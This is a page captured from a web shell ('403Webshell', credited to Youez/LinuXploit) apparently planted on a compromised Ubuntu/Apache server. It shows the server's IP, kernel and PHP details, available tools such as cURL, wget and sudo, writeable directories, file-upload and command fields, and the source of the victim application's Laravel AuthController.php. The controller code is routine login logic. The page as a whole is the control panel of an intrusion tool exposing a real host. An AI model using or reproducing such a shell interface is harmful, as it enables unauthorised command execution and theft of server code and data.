403Webshell
Server IP : 157.230.181.24  /  Your IP : 216.73.217.11
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux conductive 6.8.0-117-generic #117-Ubuntu SMP PREEMPT_DYNAMIC Tue May 5 19:26:24 UTC 2026 x86_64
User :  ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/vhosts/convo/app/Http/Controllers/Auth/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/convo/app/Http/Controllers/Auth/AuthController.php
<?php

	namespace App\Http\Controllers\Auth;

	use App\Http\Requests\LoginRequest;
	use App\Http\Requests\RegisterUserRequest;
	use App\Models\User;
	use Auth;
	use Carbon\Carbon;
	use Hash;
	use Session;
	use Validator;
	use App\Http\Controllers\Controller;
	use Illuminate\Foundation\Auth\ThrottlesLogins;
	use Illuminate\Foundation\Auth\AuthenticatesAndRegistersUsers;
	use View;

	class AuthController extends Controller {

		use AuthenticatesAndRegistersUsers, ThrottlesLogins;

		/**
		 * Where to redirect users after login / registration.
		 *
		 * @var string
		 */
		protected $redirectTo = '/accounts';

		/**
		 * Create a new authentication controller instance.
		 *
		 * @return void
		 */
		public function __construct() {
			$this->middleware('guest', ['except' => 'logout']);
		}

		/**
		 * Login view (non-ajax)
		 *
		 * @return mixed
		 */
		public function login() {
			return view('auth.login');
		}

		/**
		 * Process login attempt
		 *
		 * @param LoginRequest $request
		 * @return mixed
		 */
		public function processLogin(LoginRequest $request) {
			$errors = [];

			$attempt = [
				'screenname' => $request->get('screenname'),
				'password'   => $request->get('password'),
			];

			// Attempt ot login the user
			if(Auth::attempt($attempt, TRUE)) {
				return redirect()->intended($this->redirectTo);
			}
			else {
				$errors['screenname'] = 'Your screen name or password is incorrect. Please try again.';
			}

			return redirect()->back()
			                 ->withInput($request->except('password'))
			                 ->withErrors($errors);
		}

		/**
		 * Log the user out
		 *
		 * @return mixed
		 */
		public function logout() {
			Auth::logout();

			return redirect('/');
		}

	}

Youez - 2016 - github.com/yon3zu
LinuXploit